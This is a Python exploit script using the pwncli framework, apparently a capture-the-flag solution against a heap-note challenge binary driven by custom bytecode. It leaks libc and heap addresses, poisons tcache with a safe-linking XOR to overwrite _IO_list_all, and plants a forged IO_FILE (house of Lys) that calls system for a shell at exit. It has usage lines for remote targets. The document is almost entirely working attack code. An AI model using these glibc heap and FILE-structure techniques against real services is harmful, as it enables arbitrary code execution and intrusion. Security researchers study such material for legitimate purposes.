1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
| #!/usr/bin/env python3
# Date: 2025-01-05 18:14:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt):
sla(prompt, i)
def assign(regs_idx, data):
return b'\x0f'+p8_ex(regs_idx)+p64_ex(data)
def read_to_data_seg(data_offset, size):
return assign(0, 0)+assign(1, data_offset)+assign(2, size)+b'\xd4'+p8_ex(0)+p8_ex(0)+p8_ex(0)
def read_to_code_seg(code_offset, size):
return assign(0, 0)+assign(1, 0x7063000+code_offset)+assign(2, size)+b'\xcc'+p8_ex(0)+p8_ex(0)+p8_ex(0)
def add(size):
return assign(0, size)+b'\xcc'+p8_ex(0)+p8_ex(0)+p8_ex(3)
def dele(idx):
return assign(0, idx)+b'\xcc'+p8_ex(0)+p8_ex(0)+p8_ex(4)
def edit(note_idx, data_offset, size):
return read_to_data_seg(0, size)+assign(0, note_idx)+assign(1, data_offset)+assign(2, size)+b'\xcc'+p8_ex(0)+p8_ex(0)+p8_ex(5)
def write(data_offset, size):
return assign(0, 1)+assign(1, data_offset)+assign(2, size)+b'\xd4'+p8_ex(0)+p8_ex(0)+p8_ex(1)
def show(note_idx, data_offset, size):
return assign(0, note_idx)+assign(1, data_offset)+assign(2, size)+b'\xcc'+p8_ex(0)+p8_ex(0)+p8_ex(6)+write(0, size)
def exit():
return assign(0, 0)+b'\xcc'+p8_ex(0)+p8_ex(0)+p8_ex(2)
rl()
code = assign(0, 0)
code += assign(1, 0)
code += assign(2, 0x300)
code += add(0x450)
code += add(0x450)
code += dele(0)
code += show(0, 0, 0x30)
code += add(0x20) # 2
code += add(0x20) # 3
code += dele(2)
code += dele(3)
code += show(2, 0, 0x30)
code += read_to_code_seg(0x350, 0x300)
sl(code)
base = u64(r(8))
base -= 0x21ace0
r(0x28)
key = u64(r(8))
heap_base = key << 12
r(0x28)
libc.address = base
_IO_list_all = libc.sym['_IO_list_all']
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
system = libc.sym['system']
code = edit(3, 0, 8)
code += add(0x20)
code += add(0x20) # 5
code += edit(5, 0, 8)
code += edit(1, 0, 0x100)
code += write(0, 0x10)
code += exit()
sl(code)
stop()
s(p64(_IO_list_all ^ key))
stop()
s(p64(heap_base+0x720))
stop()
file = IO_FILE_plus_struct()
payload = file.house_of_Lys_getshell_when_exit_under_2_37(
libc.sym['system'], libc.sym['_IO_wfile_jumps']+0x300, heap_base+0x720)
# payload = file.house_of_apple2_execmd_when_exit(
# libc.sym['_IO_2_1_stderr_'], _IO_wfile_jumps, libc.sym['system'])
# payload = bytearray(payload)
# payload[0xa0:0xa8] = p64(heap_base+0x720)
s(payload+p64(heap_base+0x720))
print(hex(heap_base))
print(hex(base))
print(hex(_IO_list_all))
print(hex(libc.sym['_IO_2_1_stderr_']))
ia()
|
